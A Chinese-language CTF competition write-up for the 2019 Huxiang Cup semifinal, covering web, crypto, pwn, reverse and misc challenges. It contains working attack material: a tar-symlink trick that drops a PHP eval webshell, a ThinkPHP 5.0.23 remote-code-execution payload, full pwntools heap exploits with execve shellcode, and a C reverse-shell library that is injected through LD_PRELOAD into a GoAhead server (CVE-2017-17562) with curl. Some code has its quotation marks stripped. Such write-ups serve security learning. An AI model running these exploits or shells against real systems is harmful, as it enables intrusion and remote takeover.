2019湖湘杯网络安全技能大赛复赛WriteUp
2019湖湘杯网络安全技能大赛-复赛WriteUp
Webuntar
解题思路
参考:http://knqyf263.hatenablog.com/entry/2018/06/27/181037
根据文章写的
ln -s /var/www/html/sandbox/exp.php exp.php
echo <?php eval($_POST[a]); > foo
tar cvf exp.tar * --transform=s/foo/exp.php/g
tar -tvvf exp.tar
http://183.129.189.62:18907/?url=http://106.52.2.103/sandbox/exp.tar&filename=/test3/exp.tar 

thinkphp?
解题思路
先下载备份文件
报错里看到 thinkphp5.0.23 ,找了一下这个版本的 rce 漏洞的payload 试了一下,发现是能执行
payload:
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat+/flag 存在命令执行


Misc
EzMemory
解题思路 
Crypto
give me your passport
解题思路
在genuser函数那里赋值name=Admin,拿到passport
from Crypto.Cipher import AES
from Crypto import Random
from string import ascii_letters
from random import choice,randint
import sys
import signal
#pad Admin
padadmin=pad(Admin,16)
#生成iv
iv = Random.new().read(AES.block_size)
#题中的KEY
KEY = bJustKey not fl@g
#用KEY 和 iv 对padadmin 加密
cipher = AES.new(KEY, AES.MODE_CBC, iv)
out=cipher.encrypt(padadmin)
#将iv与padadmin拼接
out2=iv+out
check_passport=binascii.hexlify(out2) #输出为nc要输入的
Rsa
解题思路
from sympy import *
from sympy.core.numbers import igcdex
import gmpy2
import libnum
e=65537
n=22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611
dp=84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725
c=14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735
p = gcd(n,pow(2,e*dp,n)-2)
# print p
q = n//p
# print q
d = long(igcdex(e,(p-1)*(q-1))[0]%n)
print hex(pow(c,d,n))[2:-1].decode(hex)
DES
解题思路
import pyDes
import base64
deskey = "********"
DES = pyDes.des(deskey)
DES.setMode(ECB)
DES.Kn = [
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0],
[1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0],
[0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1],
[0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1],
[0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0],
[0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0],
[0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0],
[0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1],
[0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0],
[1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1],
[1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1]
]
cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"
cipher=base64.b64decode(cipher_list)
mes = DES.decrypt(cipher)
print(mes)
import pyDes
import base64
deskey = "********"
DES = pyDes.des(deskey)
DES.setMode(ECB)
DES.Kn = [
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0],
[1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0],
[0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1],
[0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1],
[0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0],
[0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0],
[0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0],
[0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1],
[0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0],
[1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1],
[1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1]
]
cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"
cipher=base64.b64decode(cipher_list)
mes = DES.decrypt(cipher)
print(mes)
pic=[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0]
#[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0]
#[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 1, 1, 1, 1, 1, 0, 0, 1, 2, 1, 0, 1, 2, 0, 0, 2, 0, 1, 0, 1, 1, 0, 0, 1, 0, 2, 1, 1, 2, 1, 0, 1, 0, 2, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 2]
def __permutate(self, table, block):
"""Permutate this block with the specified table"""
return list(map(lambda x: block[x], table))
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
x=[2]*56
for i in range(48):
x[__pc2[i]]=DES.Kn[1][i]
print(x[:28])
print(x[28:])
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
y=[2]*64
for i in range(56):
y[__pc1[i]]=pic[i]
print(y)
#[0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0
最后进行key的爆破:
bin1=0100000
bin2=0110111
bin3=0100100
bin4=0110010
bin5=0110111
bin6=0110011
bin7=0100010
bin8=0100001
for i1 in range(2):
for i2 in range(2):
for i3 in range(2):
for i4 in range(2):
for i5 in range(2):
for i6 in range(2):
for i7 in range(2):
for i8 in range(2):
bin1=0100000
bin2=0110111
bin3=0100100
bin4=0110010
bin5=0110111
bin6=0110011
bin7=0100010
bin8=0100001
bin1+=chr(i1+48)
bin2+=chr(i2+48)
bin3+=chr(i3+48)
bin4+=chr(i4+48)
bin5+=chr(i5+48)
bin6+=chr(i6+48)
bin7+=chr(i7+48)
bin8+=chr(i8+48)
oc1=int(bin1,2)
oc2=int(bin2,2)
oc3=int(bin3,2)
oc4=int(bin4,2)
oc5=int(bin5,2)
oc6=int(bin6,2)
oc7=int(bin7,2)
oc8=int(bin8,2)
str1=
str1+=chr(oc1)+chr(oc2)+chr(oc3)+chr(oc4)+chr(oc5)+chr(oc6)+chr(oc7)+chr(oc8)
print(str1)
PWN
hacknote
解题思路
我这个做法比较绕,应该有更快的做法。
。
。
Edit函数里,重新给size赋值导致off by one
通过fastbin attack , 伪造一个合法的size(如0x61,0x6f)到main arena
fastbin attack,分配到main arena上,修改top chunk指针到.bss,再分配,往.bss写shellcode
再改top chunk指针到malloc hook,再分配,往malloc hook中写入shellcode地址
#-*-coding:utf8-*-
#Sunxiaokong
from pwn import *
context.terminal = [terminator, -x, /bin/bash, -c]
if args[REMOTE]:
p = remote(183.129.189.62, 21204)
else:
p = process(./HackNote)
def add(size, note):
p.sendline(1)
p.sendlineafter(Input the Size:, str(size))
p.sendlineafter(Input the Note:, note)
#p.recvuntil(Add Done!)
def delete(index):
p.sendline(2)
p.sendlineafter(Input the Index of Note:, str(index))
def edit(index, new_note):
p.sendline(3)
p.sendlineafter(Input the Index of Note:, str(index))
p.sendlineafter(Input the Note:, new_note)
def pwn():
malloc_hook = 0x6cb788
fake_size = 0x6cb830
malloc_hook = 0x6cb788
fake_top = 0x00000000006CC298-0x8
#块堆叠 第1次
add(0x90, 0) #0
add(0x58, 1) #1
add(0xf0, 2) #2
add(0x10, 3) #3
edit(1, a*0x58)
delete(0)
edit(1, a*0x50+p64(0x100)+\x00\x01)
delete(2)
add(0x90, d) #0
add(0x50, a) #2
add(0xf0, d) #4
#块堆叠 第2次,往main arena 中写入一个可用的small chunk的size
add(0x90, a) #5
add(0x68, b) #6
add(0xf0, c) #7
add(0x10, d) #8
edit(6, a*0x68)
delete(5)
edit(6, a*0x60+p64(0x110)+\x00\x01)
delete(7)
add(0x90, c) #5
add(0x60, a) #7 6 .7 same
add(0xf0, c) #9
delete(6)
edit(7, p64(0x61)) #
add(0x60, a) #6 分配一次后,刚才改写的fd:0x61就进入main_arena了
#继续利用第一次快堆叠,将fd改到刚才的fake size上
delete(1)
edit(2, p64(fake_size-8))
add(0x50, a) #1
#块堆叠第三次,fastbin attack到刚才伪造好size的main arena
add(0x90, a) #10
add(0x28, b) #11
add(0xf0, c) #12
add(0x10, p) #13
edit(11, a*0x28)
delete(10)
edit(11, b*0x20+p64(0xd0)+\x00\x01)
delete(12)
add(0x90, c) #10
add(0x20, a) #12 11 .12 same
add(0xf0, c) #10
delete(11)
add(0x50, p64(0x31)*4 + p64(fake_top)) #分配到main arena,改写top chunk指针到.bss上,写入shellcode
delete(3) #腾出list空间,不然full
#shellcode = shellcraft.amd64.sh()
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
add(0x300, shellcode)
edit(11, a*0x20+p64(malloc_hook-0x10)) #再改写top指针到malloc hook
delete(8) #腾出list空间,不然full
add(0x100, p64(0x6cc2a0)) #往malloc hook 写入 shellcode地址
delete(2) #腾出list空间,不然full
p.sendline(1)
p.sendlineafter(Input the Size:, str(150))
p.interactive()
pwn()
main_arena:
pwndbg> x/30xg 0x00000000006cb800
NameSystem
解题思路
利用drop漏洞 删除chunk18复制一个相同的chunk19地址在ptr里,可以double free
程序在free后移动idx时,存在double free,got表附近有可利用size,0x60与0x40分别是延迟绑定的和未绑定函数的地址,使用double_free分配到got表改free_got -> printf_plt ,free(ptr) -> printf(ptr) 利用格式化字符串漏洞leak栈中的libc地址,然后再改printf_got为system,因为free_got再第一次被修改后就不再次释放了,所以之前要构造好两条double free链.
from pwn import *
context.log_level = debug
prog = ./NameSystem
elf = ELF(prog)
#p = process(prog)
libc = ELF("./libc-2.23.so")
p = remote("183.129.189.62", 21705)
def dbg():
gdb.attach(p)
p.interactive()
def add(size, name):
p.sendlineafter("Your choice :\n", 1)
p.sendlineafter("Name Size:", str(size))
p.sendlineafter("Name:", name)
def free(idx):
p.sendlineafter("Your choice :\n", 3)
p.sendlineafter("The id you want to delete:", str(idx))
def exp():
add(0x60, %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p)
add(0x60, /bin/sh\x00)
for i in range(8):
add(0x60, %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p)
for i in range(5):
add(0x30, a)
for i in range(5):
add(0x50, a)
free(18)
free(19)
free(16)
free(17)
free(9)
add(0x50, p64(0x601ffa))
for i in range(3):
add(0x30, a)
free(18)
free(19)
free(17)
free(17)
add(0x30, p64(0x602022))
for i in range(4):
free(0)
add(0x30, a)
add(0x30, a)
add(0x50, a)
add(0x50, a)
add(0x50, \x00*(6)+p64(0)+\xd0\x06\x40\x00\x00)
free(0)
libc_base = int(p.recvuntil("Done!", drop = True)[-12:], 16)-0x20830
success(hex(libc_base))
system = libc_base + libc.sym[system]
one = libc_base + 0x45216
success(hex(system))
add(0x30, a*6+p64(one))
#dbg()
p.interactive()
if __name__ == __main__:
exp()
Reverse
arguement
解题思路
1.准备
获取到信息:
32位的文件
upx加密文件
在控制台打开文件
使用"upx -d reverse.exe"解密 
2.IDA打开
直接在String中,找到引用"Input Your Flag:"的位置
int __usercall sub_415280@<eax>(int xmm0_4_0@<xmm0>, int a1, int a2)
{
int v3; // edx
FILE *v4; // eax
int v5; // edx
int v6; // ecx
char *v7; // eax
int v8; // edx
int v9; // ecx
int v10; // ST04_4
int v11; // ST08_4
char v13; // [esp+0h] [ebp-134h]
char Buf; // [esp+D0h] [ebp-64h]
size_t i; // [esp+100h] [ebp-34h]
FILE *File; // [esp+10Ch] [ebp-28h]
char v17; // [esp+118h] [ebp-1Ch]
int v18; // [esp+130h] [ebp-4h]
int savedregs; // [esp+134h] [ebp+0h]
sub_411208((int)&unk_41C008);
printf("Input Your Flag:\n", v13);
sub_41137F("%19s", (unsigned int)&v17); // v12大小为24
if ( a1 != 2 )
{
printf("Input error!\n", v13);
exit(1);
}
printf("%s\n", *(_DWORD *)(a2 + 4)); // 在执行文件时,执行的第一个参数
for ( i = 0; i < j_strlen(*(const char **)(a2 + 4)); ++i )// 遍历执行文件时输入的字符串
*(_BYTE *)(*(_DWORD *)(a2 + 4) + i) += i; // 每一位 str[i] += i
if ( !j_strcmp(Str1, *(const char **)(a2 + 4)) )// 和“fmcj2y~{”比较
{
v4 = fopen(*(const char **)(a2 + 4), "r"); // 下面两句文件操作,应该是获取输入的
File = (FILE *)sub_411212(v6, v5, &v13 == &v13, (int)v4, xmm0_4_0);
if ( File )
{
v7 = fgets(&Buf, 40, File);
sub_411212(v9, v8, &v13 == &v13, (int)v7, xmm0_4_0);
if ( j_strlen(&Buf) != 32 j_strlen(&Buf) % 2 == 1 )// 输入长度应该是32
exit(1);
sub_4113B1(xmm0_4_0, &Buf, (int)&unk_41A4E0);
if ( sub_4113B6(xmm0_4_0, (int)&unk_41A4E0) )
printf("flag{%s}", (unsigned int)&Buf);
else
printf("Input Error!\n", v13);
}
else
{
printf("Input Error!\n", v13);
}
}
else
{
printf("Input Error!\n", v13);
}
sub_411235(&savedregs, dword_4154C4, 0, v3);
return sub_411212((unsigned int)&savedregs ^ v18, v11, 1, v10, xmm0_4_0);
}
因此在运行时文件我们要在后面带一个参数,这个参数通过分析代码,我们可以写个脚本解出
str1 = fmcj2y~{
str2 =
for i in range(len(str1)):
str2 += chr(ord(str1[i]) - i)
print (str2)
3.代码分析
通过分析,可以知道关键的函数是sub_4113B1和sub_4113B6。
3.1 sub_4113B1函数
int __usercall sub_414E50@<eax>(int a1@<xmm0>, char *Str, int a3)
{
unsigned int v3; // eax
int v4; // edx
int v5; // ecx
char v7; // [esp+0h] [ebp-E4h]
int v8; // [esp+D0h] [ebp-14h]
signed int i; // [esp+DCh] [ebp-8h]
sub_411208((int)&unk_41C008);
dword_41A078[8] = 0xA7;
dword_41A078[9] = 0xDE;
dword_41A078[10] = 0xDA;
dword_41A078[11] = 0x46;
dword_41A078[12] = 0xAB;
dword_41A078[13] = 0x2E;
dword_41A078[14] = 0xFF;
dword_41A078[15] = 0xDB;
for ( i = 0; ; i += 2 ) // 0开始,2跳
{
v3 = j_strlen(Str); // v3为Buf长度32
if ( i >= v3 )
break;
if ( Str[i] >= 48 && Str[i] <= 57 ) // 0~9
{
*(_DWORD *)(a3 + 4 * (i / 2)) = Str[i] - 48;// 字符转换为整型
}
else
{
if ( Str[i] < 97 Str[i] > 102 ) // 非a~f,说明组成的字符是0~9a~f,十六进制啊
{
printf("Input Error!\n", v7);
exit(0);
}
*(_DWORD *)(a3 + 4 * (i / 2)) = Str[i] - 87;// 十六进制啊!a~f就是10~15
}
*(_DWORD *)(a3 + 4 * (i / 2)) *= 16; // 最后还要乘16
if ( Str[i + 1] >= 48 && Str[i + 1] <= 57 ) // i=1,3,5...如果为数字
{
v8 = Str[i + 1] - 48; // v8=字符转数字
}
else
{
if ( Str[i + 1] < 97 Str[i + 1] > 102 )
{
printf("Input Error!\n", v7);
exit(0);
}
v8 = Str[i + 1] - 87; // i=1,3,5...如果是a~f字符转数字,10~15
}
*(_DWORD *)(a3 + 4 * (i / 2)) += v8; // a3[i]+=v8
}
return sub_411212(v5, v4, 1, v3, a1);
}
这个函数有两个作用:
对dword_41A078后8双字节赋值
将输入的字符串,两两字符转换为数字,存入v4,例如:输入"a1b2c3"将会转换为0xa1b2c3
3.2 sub_4113B6函数
int __usercall sub_411D90@<eax>(int a1@<xmm0>, int a2)
{
int v2; // edx
int v3; // ecx
int v4; // eax
signed int i; // [esp+D0h] [ebp-8h]
sub_411208((int)&unk_41C008);
for ( i = 0; i < 16; ++i )
{
v3 = a2; // v3赋值为之前得到的整数
v2 = *(_DWORD *)(a2 + 4 * i) + 1; // v2=v2[i]+1
if ( v2 != dword_41A078[i] )
{
v4 = 0;
return sub_411212(v3, v2, 1, v4, a1);
}
}
v4 = 1;
return sub_411212(v3, v2, 1, v4, a1);
}
这个函数将我们转换输入字符串得到的v4。
每一位加1之后与已知的dword_41A078数组比较。
dword_41A078:
50h 0C6h 0F1h 0E4h 0E3h 0E2h 9Ah 0A1h 0A7h 0DEh 0DAh 46h 0ABh 2Eh 0FFh 0DBh
因此我们只要将dword_41A078每一位减1,就能得到v4,从而输入的Buf也得到了了
v4
4fc5f0e3e2e199a0a6ddd945aa2dfeda
Buf
"4fc5f0e3e2e199a0a6ddd945aa2dfeda"
而回到主函数
if ( sub_4113B6(xmm0_4_0, (int)&unk_41A4E0) )
printf("flag{%s}", (unsigned int)&Buf);
EzRE
解题思路
迷宫题,得知是安恒6月月赛原题,直接输入2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4。
得到flag
icekey
解题思路
源程序中存在解密代码,直接修改array的值让程序自身去解密,就会得到flag 

创新
大数据安全
解题思路
CVE-2017-17562;
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/sh", 0, 0);
}
编译生成动态链接库 payload.so 
payload:
curl -X POST --data-binary @payload.so "http://183.129.189.62:19800/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

成功反弹shell 
接着在 /home/ctf/flag 中得到flag,中途shell一直断 orz

招新小广告
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org
2019湖湘杯网络安全技能大赛-复赛WriteUp
Comments
Post a Comment